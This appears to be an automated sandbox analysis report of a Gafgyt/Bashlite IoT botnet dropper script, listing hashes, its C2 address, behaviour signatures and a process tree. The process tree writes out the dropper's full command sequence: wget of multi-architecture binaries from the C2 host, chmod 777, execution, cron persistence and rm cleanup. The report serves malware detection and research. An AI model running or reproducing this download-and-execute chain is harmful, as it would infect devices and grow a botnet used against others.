Analysis
-
max time kernel
148s -
max time network
152s -
platform
ubuntu-18.04_amd64 -
resource
ubuntu1804-amd64-20240508-en -
resource tags
-
submitted
02-07-2024 05:54
General
-
Target
qkdjdjj22.sh
-
Size
1KB
-
MD5
536b6c9024361ab349363a6a55c2a2b8
-
SHA1
d0aec54b19e3e9c9cd68dafe08c4cb6525d8435a
-
SHA256
ac40e30ea6ab94b1102940d16c575f7c87dbe6335530e37f568c4ac2d967f53d
-
SHA512
731b4d784a0b56464dba291fd0e43ee4f99cb2457c54cb91af21ee4c339aecc204c8a9dd592ba87017657752fdcbc6d4b6856f01dbbceefebcfc27affc673954
Score
10/10
Malware Config
Extracted
Family
gafgyt
C2
195.85.205.47:777
Signatures
-
Detected Gafgyt variant 2 IoCs
-
Gafgyt/Bashlite
IoT botnet with numerous variants first seen in 2014.
-
Executes dropped EXE 44 IoCs
-
Creates/modifies Cron job 1 TTPs 44 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
-
Reads system routing table 1 TTPs 2 IoCs
Gets active network interfaces from /proc virtual filesystem.
-
Writes file to system bin folder 1 TTPs 1 IoCs
-
Reads system network configuration 1 TTPs 2 IoCs
Uses contents of /proc filesystem to enumerate network settings.
-
Reads runtime system information 45 IoCs
Reads data from /proc virtual filesystem.
-
Writes file to tmp directory 56 IoCs
Malware often drops required files in the /tmp directory.
Processes
-
/tmp/qkdjdjj22.sh/tmp/qkdjdjj22.sh1⤵
-
/usr/bin/wgetwget http://195.85.205.47/qkdjdjj22.mips2⤵
- Writes file to tmp directory
-
/bin/chmodchmod 777 qkdjdjj22.mips2⤵
-
/tmp/qkdjdjj22.mips./qkdjdjj22.mips2⤵
-
/usr/bin/wgetwget http://195.85.205.47/qkdjdjj22.mpsl2⤵
- Writes file to tmp directory
-
/bin/chmodchmod 777 qkdjdjj22.mpsl2⤵
-
/tmp/qkdjdjj22.mpsl./qkdjdjj22.mpsl2⤵
-
/usr/bin/wgetwget http://195.85.205.47/qkdjdjj22.sh42⤵
- Writes file to tmp directory
-
/bin/chmodchmod 777 qkdjdjj22.sh42⤵
-
/tmp/qkdjdjj22.sh4./qkdjdjj22.sh42⤵
-
/usr/bin/wgetwget http://195.85.205.47/qkdjdjj22.x862⤵
- Writes file to tmp directory
-
/bin/chmodchmod 777 qkdjdjj22.x862⤵
-
/tmp/qkdjdjj22.x86./qkdjdjj22.x862⤵
- Creates/modifies Cron job
- Writes file to system bin folder
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileJho6MR./qkdjdjj22.x863⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filevTFhk3./qkdjdjj22.x864⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filemoTV0H./qkdjdjj22.x865⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filemf5pux./qkdjdjj22.x866⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filezwRxwh./qkdjdjj22.x867⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file8FktrW./qkdjdjj22.x868⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileg8yT9O./qkdjdjj22.x869⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filef9VCKz./qkdjdjj22.x8610⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileAwhu1d./qkdjdjj22.x8611⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileokqn75./qkdjdjj22.x8612⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileVGk0HK./qkdjdjj22.x8613⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileqcFGiv./qkdjdjj22.x8614⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file2jWCUi./qkdjdjj22.x8615⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileBz8oDT./qkdjdjj22.x8616⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filenniY0H./qkdjdjj22.x8617⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileIwkh7m./qkdjdjj22.x8618⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileteLex4./qkdjdjj22.x8619⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filenedGUR./qkdjdjj22.x8620⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file6VXMex./qkdjdjj22.x8621⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filew50Oyk./qkdjdjj22.x8622⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileFmjhi3./qkdjdjj22.x8623⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filewPck2K./qkdjdjj22.x8624⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file6sOBaB./qkdjdjj22.x8625⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filefkDICi./qkdjdjj22.x8626⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file3J2Nd9./qkdjdjj22.x8627⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileQGbeHL./qkdjdjj22.x8628⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filenoKEBq./qkdjdjj22.x8629⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileftbCGc./qkdjdjj22.x8630⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filey8hRDP./qkdjdjj22.x8631⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileGtV1PD./qkdjdjj22.x8632⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filethlCNg./qkdjdjj22.x8633⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileWYbBRU./qkdjdjj22.x8634⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filemSUsWJ./qkdjdjj22.x8635⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileTDRill./qkdjdjj22.x8636⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file3uxPvb./qkdjdjj22.x8637⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileK2GtNR./qkdjdjj22.x8638⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filebjs9Px./qkdjdjj22.x8639⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file19a5Kp./qkdjdjj22.x8640⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filesATcHW./qkdjdjj22.x8641⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileYsSZ0F./qkdjdjj22.x8642⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filevINkRc./qkdjdjj22.x8643⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/fileHknWj4./qkdjdjj22.x8644⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/file49kSUK./qkdjdjj22.x8645⤵
- Executes dropped EXE
- Creates/modifies Cron job
- Reads runtime system information
- Writes file to tmp directory
-
/tmp/filezzTlep./qkdjdjj22.x8646⤵
- Executes dropped EXE
- Reads runtime system information
- Writes file to tmp directory
-
/usr/bin/wgetwget http://195.85.205.47/qkdjdjj22.arm62⤵
- Writes file to tmp directory
-
/bin/chmodchmod 777 qkdjdjj22.arm62⤵
-
/tmp/qkdjdjj22.arm6./qkdjdjj22.arm62⤵
-
/usr/bin/wgetwget http://195.85.205.47/qkdjdjj22.x322⤵
- Writes file to tmp directory
-
/bin/chmodchmod 777 qkdjdjj22.x322⤵
-
/tmp/qkdjdjj22.x32./qkdjdjj22.x322⤵
- Reads system routing table
- Reads system network configuration
-
/usr/bin/wgetwget http://195.85.205.47/qkdjdjj22.ppc2⤵
- Writes file to tmp directory
-
/bin/chmodchmod 777 qkdjdjj22.ppc2⤵
-
/tmp/qkdjdjj22.ppc./qkdjdjj22.ppc2⤵
-
/usr/bin/wgetwget http://195.85.205.47/qkdjdjj22.i5862⤵
- Writes file to tmp directory
-
/bin/chmodchmod 777 qkdjdjj22.i5862⤵
-
/tmp/qkdjdjj22.i586./qkdjdjj22.i5862⤵
- Reads system routing table
- Reads system network configuration
-
/usr/bin/wgetwget http://195.85.205.47/qkdjdjj22.m68k2⤵
- Writes file to tmp directory
-
/bin/chmodchmod 777 qkdjdjj22.m68k2⤵
-
/tmp/qkdjdjj22.m68k./qkdjdjj22.m68k2⤵
-
/usr/bin/wgetwget http://195.85.205.47/qkdjdjj22.ppc2⤵
- Writes file to tmp directory
-
/bin/chmodchmod 777 qkdjdjj22.ppc2⤵
-
/tmp/qkdjdjj22.ppc./qkdjdjj22.ppc2⤵
-
/usr/bin/wgetwget http://195.85.205.47/qkdjdjj22.arm42⤵
- Writes file to tmp directory
-
/bin/chmodchmod 777 qkdjdjj22.arm42⤵
-
/tmp/qkdjdjj22.arm4./qkdjdjj22.arm42⤵
-
/usr/bin/wgetwget http://195.85.205.47/qkdjdjj22.arm52⤵
-
/bin/rmrm -rf qkdjdjj22.arm4 qkdjdjj22.arm6 qkdjdjj22.i586 qkdjdjj22.m68k qkdjdjj22.mips qkdjdjj22.mpsl qkdjdjj22.ppc qkdjdjj22.ppc.1 qkdjdjj22.sh qkdjdjj22.sh4 qkdjdjj22.x32 qkdjdjj22.x862⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
/etc/cron.hourly/0Filesize
92B
MD53f006f7f81fc17be7f4a0d3da0fad5de
SHA197a94d3d0654c6551057af3809b52572bd7f9f5d
SHA256982f9e0f089b91ba79df723435099df15c72e1201a45010ee60226ab136c93bf
SHA51297d2ac0057427b940ada7c0fc805c1966e2535c3c3767ca85fef4a7e0fdc9d4ef9eb133530408b1e439df067881cb317e948ad9bfd487e958a04c97d9db978e0
-
/tmp/fileJho6MRFilesize
155KB
MD5d7c06cd80f877b3697b829ee12851d5d
SHA1977a6258d47f140effe07e1b1d6a93ea161ad138
SHA2564fedb406cadc190c90b552b01e5cb1891568db837cccd121fa9965223d21bc22
SHA51219f524abef2e7ffd9908ef34459c6388780e30d69499315a1b70362441ab897af1158bd14c0133d3be8bb27381787c6062f55e8d99be06ee93736cbba535d295
-
/tmp/fileJho6MRFilesize
163KB
MD56f344240f3686c40e24f9bb30af5bd93
SHA1f3b470c47d9a74c91097836be07f7fc51fd977d6
SHA256c1d8a7ed1e88ccc6ac4bd7002b2f9279031c82f45bf8e6f33aaa87602b1d8365
SHA512187ac80956d59e6d5ef0d5b43a4c6c2faf94a4734e834f475421da103b4542571d6928bbbf3a8da0349578985bfefd3175fc908d8a1778f2b6311bb1fe7a1c39